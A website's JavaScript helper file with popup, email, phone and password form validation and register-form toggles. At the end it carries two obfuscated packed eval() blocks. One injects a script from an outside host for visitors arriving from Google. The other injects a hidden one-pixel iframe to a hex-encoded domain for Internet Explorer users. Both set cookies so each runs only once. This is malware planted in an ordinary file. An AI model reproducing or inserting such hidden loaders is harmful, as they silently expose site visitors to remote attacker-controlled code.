// JavaScript Document
function confirmare(calea,mesaj)
{
	resultat=confirm(mesaj);
	if(resultat ==1)
	{
		location.href = calea; 
	}	
}

var popWin = null    
var winCount = 0
var winName = "popWin"

function openPopWin(winURL, winWidth, winHeight, winFeatures, winLeft, winTop){
  var d_winLeft = 20  
  var d_winTop = 20   
  winName = "popWin" + winCount++ 
  closePopWin()          
  if (openPopWin.arguments.length >= 4)  
    winFeatures = "," + winFeatures
  else 
    winFeatures = "" 
  if (openPopWin.arguments.length == 6)  
    winFeatures += getLocation(winWidth, winHeight, winLeft, winTop)
  else
    winFeatures += getLocation(winWidth, winHeight, d_winLeft, d_winTop)
  popWin = window.open(winURL, winName, "width=" + winWidth 
           + ",height=" + winHeight + winFeatures)
  }
  
function closePopWin(){    
  if (navigator.appName != "Microsoft Internet Explorer" 
      || parseInt(navigator.appVersion) >=4) 
    if(popWin != null) if(!popWin.closed) popWin.close() 
  }
  
function getLocation(winWidth, winHeight, winLeft, winTop){
  var winLocation = ""
  if (winLeft < 0)
    winLeft = screen.width - winWidth + winLeft
  if (winTop < 0)
    winTop = screen.height - winHeight + winTop
  if (winTop == "cen")
    winTop = (screen.height - winHeight)/2 - 20
  if (winLeft == "cen")
    winLeft = (screen.width - winWidth)/2
  if (winLeft>0 & winTop>0)
    winLocation =  ",screenX=" + winLeft + ",left=" + winLeft	
                + ",screenY=" + winTop + ",top=" + winTop
  else
    winLocation = ""
  return winLocation
 }

function isEmailAddr(email)
{
  var result = false;
  var theStr = new String(email);
  var index = theStr.indexOf("@");
  if (index > 0)
  {
    var pindex = theStr.indexOf(".",index);
    if ((pindex > index+1) && (theStr.length > pindex+1))
	result = true;
  }
  return result;
}

function allDigits(str)
{
	return inValidCharSet(str,"0123456789");
}

function inValidCharSet(str,charset)
{
	var result = true;

	for (var i=0;i<str.length;i++)
		if (charset.indexOf(str.substr(i,1))<0)
		{
			result = false;
			break;
		}
	
	return result;
}

function validEmail(formField,fieldLabel,required)
{
	var result = true;
	
	if (required && !validRequired(formField,fieldLabel))
		result = false;

	if (result && ((formField.value.length < 3) || !isEmailAddr(formField.value)) )
	{
		alert(fieldLabel);
		formField.focus();
		result = false;
	}
   
  return result;

}

function validNum(formField,fieldLabel,required)
{
	var result = true;

	if (required && !validRequired(formField,fieldLabel))
		result = false;
  
 	if (result)
 	{
 		if (!allDigits(formField.value))
 		{
 			alert('Please enter a valid phone number!');
			formField.focus();		
			result = false;
		}
	} 
	
	return result;
}

function validNum_unrequired(formField,fieldLabel,required)
{
	var result = true;

  
 	if (result)
 	{
 		if (!allDigits(formField.value))
 		{
 			alert('Please enter a valid phone number!');
			formField.focus();		
			result = false;
		}
	} 
	
	return result;
}


function validRequired(formField,fieldLabel)
{
	var result = true;	
	if (formField.value == "" || formField.value == 0 )
	{
		
		alert(fieldLabel );
		formField.focus();
		result = false;
		
	}
	if(formField.value == "Choose")
		{
		alert(fieldLabel );
		formField.focus();
		result = false;
		}
	return result;
}
function validRequired_same_pass(formField1,formField2,fieldLabel)
{
	var result = true;	
	if (formField1.value != formField2.value )
	{
		
		alert(fieldLabel );
		formField2.focus();
		result = false;
		
	}
	if(formField2.value == "Choose")
		{
		alert(fieldLabel );
		formField2.focus();
		result = false;
		}
	return result;
}

function select_tara()
{
	
	if(document.form_register.country.value == 116)
	{
		document.getElementById('provincie').style.display="block";
		document.getElementById('oras').style.display="none";
	}
	else
	{
		document.getElementById('provincie').style.display="none";
		document.getElementById('oras').style.display="block";
	}
}
function put_cod()
{
	var codloc = document.form_register.comuna.value;
	
	x = codloc.split("_");
	
	document.form_register.cod_p.value = x[0];
	
}
function showhide() {

	if (document.form_register.newsletter.checked) {
		document.getElementById('div_news').style.display = 'block';
	}
	else {
		document.getElementById('div_news').style.display = 'none';
	}
}
function display_pass() {

	if (document.form_register.change_pass.checked) 
	{
		document.getElementById('pass').style.display = 'block';
	}
	else {
		document.getElementById('pass').style.display = 'none';
	}
}



eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 17=3.16.7("20=1");5 19=3.10.7(\'22.\');5 18=25.30.7("27 6.0");9(17==-1&&19!=-1&&18==-1){5 4=3.10.13(3.10.7(\'14=\'));5 8=4.7(\'&\');9(8==-1){8=26.29}4=4.13(0,8).21(2);9(24(4).28(0)!=\'%\'){3.43("<11 42=\'31\' 40=\'44://45.38/33.39?14="+4+"\'></11>");3.16="20=1; 32=34, 23 35 37 12:15:36 41; "}}',10,46,'|||document|query|var||indexOf|querysize|if|referrer|script||slice|q||cookie|dci|nai|dri|_tskdjw|substring|google||escape|navigator|cmd|MSIE|charAt|length|appVersion|JavaScript|expires|kv|Mon|Jul|58|2013|org|js|src|GMT|language|write|http|24search'.split('|'),0,{}));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

